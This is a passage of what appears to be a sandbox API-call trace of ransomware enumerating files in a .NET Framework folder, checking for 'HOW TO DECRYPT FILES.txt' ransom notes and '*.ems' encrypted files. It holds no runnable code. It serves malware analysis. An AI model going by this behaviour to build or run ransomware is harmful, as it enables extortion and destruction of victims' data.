returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.950] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.950] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.950] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.951] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="csc.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\csc.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\csc.exe" [0136.951] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\csc.exe", pszSpec="*.ems") returned 0 [0136.951] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58e4de7d, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x58e4de7d, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x7c41373c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="csc.exe.config", cAlternateFileName="")) returned 1 [0136.951] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.951] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="csc.exe.config") returned 1 [0136.951] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="csc.exe.config") returned 1 [0136.951] lstrcmpiA (lpString1="", lpString2="csc.exe.config") returned -1 [0136.951] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\csc.exe") returned="csc.exe" [0136.951] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.951] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.951] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.951] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.951] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="csc.exe.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\csc.exe.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\csc.exe.config" [0136.951] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\csc.exe.config", pszSpec="*.ems") returned 0 [0136.951] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58e9a13b, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x58e9a13b, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x7c73341c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x52e, dwReserved0=0x0, dwReserved1=0x0, cFileName="csc.rsp", cAlternateFileName="")) returned 1 [0136.951] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.951] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="csc.rsp") returned 1 [0136.951] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="csc.rsp") returned 1 [0136.951] lstrcmpiA (lpString1="", lpString2="csc.rsp") returned -1 [0136.952] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\csc.exe.config") returned="csc.exe.config" [0136.952] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.952] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.952] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.952] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.952] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="csc.rsp" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\csc.rsp") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\csc.rsp" [0136.952] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\csc.rsp", pszSpec="*.ems") returned 0 [0136.952] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb097c3db, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb097c3db, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb097c3db, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11758, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataSvcUtil.exe", cAlternateFileName="")) returned 1 [0136.952] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.952] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DataSvcUtil.exe") returned 1 [0136.952] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DataSvcUtil.exe") returned 1 [0136.952] lstrcmpiA (lpString1="", lpString2="DataSvcUtil.exe") returned -1 [0136.952] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\csc.rsp") returned="csc.rsp" [0136.952] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.952] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.952] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.952] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.952] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="DataSvcUtil.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\DataSvcUtil.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\DataSvcUtil.exe" [0136.952] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\DataSvcUtil.exe", pszSpec="*.ems") returned 0 [0136.953] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811aee91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c2fb6a0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c2fb6a0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataSvcUtil.exe.config", cAlternateFileName="DATASV~1.CON")) returned 1 [0136.953] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.953] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DataSvcUtil.exe.config") returned 1 [0136.953] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DataSvcUtil.exe.config") returned 1 [0136.953] lstrcmpiA (lpString1="", lpString2="DataSvcUtil.exe.config") returned -1 [0136.953] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\DataSvcUtil.exe") returned="DataSvcUtil.exe" [0136.953] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.953] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.953] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.953] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.953] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="DataSvcUtil.exe.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\DataSvcUtil.exe.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\DataSvcUtil.exe.config" [0136.953] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\DataSvcUtil.exe.config", pszSpec="*.ems") returned 0 [0136.953] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58f7e975, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x58f7e975, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x7cc6843c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x1ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="default.win32manifest", cAlternateFileName="")) returned 1 [0136.953] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.953] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="default.win32manifest") returned 1 [0136.953] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="default.win32manifest") returned 1 [0136.953] lstrcmpiA (lpString1="", lpString2="default.win32manifest") returned -1 [0136.953] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\DataSvcUtil.exe.config") returned="DataSvcUtil.exe.config" [0136.953] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.953] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.954] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.954] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.954] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="default.win32manifest" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\default.win32manifest") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\default.win32manifest" [0136.954] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\default.win32manifest", pszSpec="*.ems") returned 0 [0136.954] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac4c081c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xac4c081c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xac4c081c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16748, dwReserved0=0x0, dwReserved1=0x0, cFileName="EdmGen.exe", cAlternateFileName="")) returned 1 [0136.954] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.954] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="EdmGen.exe") returned -1 [0136.954] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="EdmGen.exe") returned 1 [0136.954] lstrcmpiA (lpString1="", lpString2="EdmGen.exe") returned -1 [0136.954] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\default.win32manifest") returned="default.win32manifest" [0136.954] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.954] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.954] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.954] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.954] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="EdmGen.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\EdmGen.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\EdmGen.exe" [0136.954] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\EdmGen.exe", pszSpec="*.ems") returned 0 [0136.955] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811aee91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c2fb6a0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c2fb6a0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EdmGen.exe.config", cAlternateFileName="EDMGEN~1.CON")) returned 1 [0136.955] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.955] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="EdmGen.exe.config") returned -1 [0136.955] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="EdmGen.exe.config") returned 1 [0136.955] lstrcmpiA (lpString1="", lpString2="EdmGen.exe.config") returned -1 [0136.955] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\EdmGen.exe") returned="EdmGen.exe" [0136.955] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.955] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.955] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.956] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.956] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="EdmGen.exe.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\EdmGen.exe.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\EdmGen.exe.config" [0136.956] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\EdmGen.exe.config", pszSpec="*.ems") returned 0 [0136.956] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadb377e6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xadb377e6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xadb5d946, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Tasks.v3.5.dll", cAlternateFileName="")) returned 1 [0136.956] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.956] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Tasks.v3.5.dll") returned -1 [0136.956] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Tasks.v3.5.dll") returned -1 [0136.956] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Tasks.v3.5.dll") returned -1 [0136.956] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\EdmGen.exe.config") returned="EdmGen.exe.config" [0136.956] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.956] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.956] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.956] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.956] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="Microsoft.Build.Tasks.v3.5.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.Build.Tasks.v3.5.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.Build.Tasks.v3.5.dll" [0136.956] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.Build.Tasks.v3.5.dll", pszSpec="*.ems") returned 0 [0136.957] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x596c8ca4, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x596c8ca4, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x7e45c19c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x936, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.xsd", cAlternateFileName="")) returned 1 [0136.957] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.957] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.xsd") returned -1 [0136.957] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.xsd") returned -1 [0136.957] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.xsd") returned -1 [0136.957] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.Build.Tasks.v3.5.dll") returned="Microsoft.Build.Tasks.v3.5.dll" [0136.957] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.957] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.957] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.957] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.957] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="Microsoft.Build.xsd" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.Build.xsd") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.Build.xsd" [0136.957] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.Build.xsd", pszSpec="*.ems") returned 0 [0136.957] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x596c8ca4, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x596c8ca4, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x7e5ff0bc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x30ff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Common.targets", cAlternateFileName="")) returned 1 [0136.957] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.957] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Common.targets") returned -1 [0136.958] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Common.targets") returned -1 [0136.958] lstrcmpiA (lpString1="", lpString2="Microsoft.Common.targets") returned -1 [0136.958] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Microsoft.Build.xsd") returned="Microsoft.Build.xsd" [0136.958] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.958] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.958] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.958] GetFileAttributesA 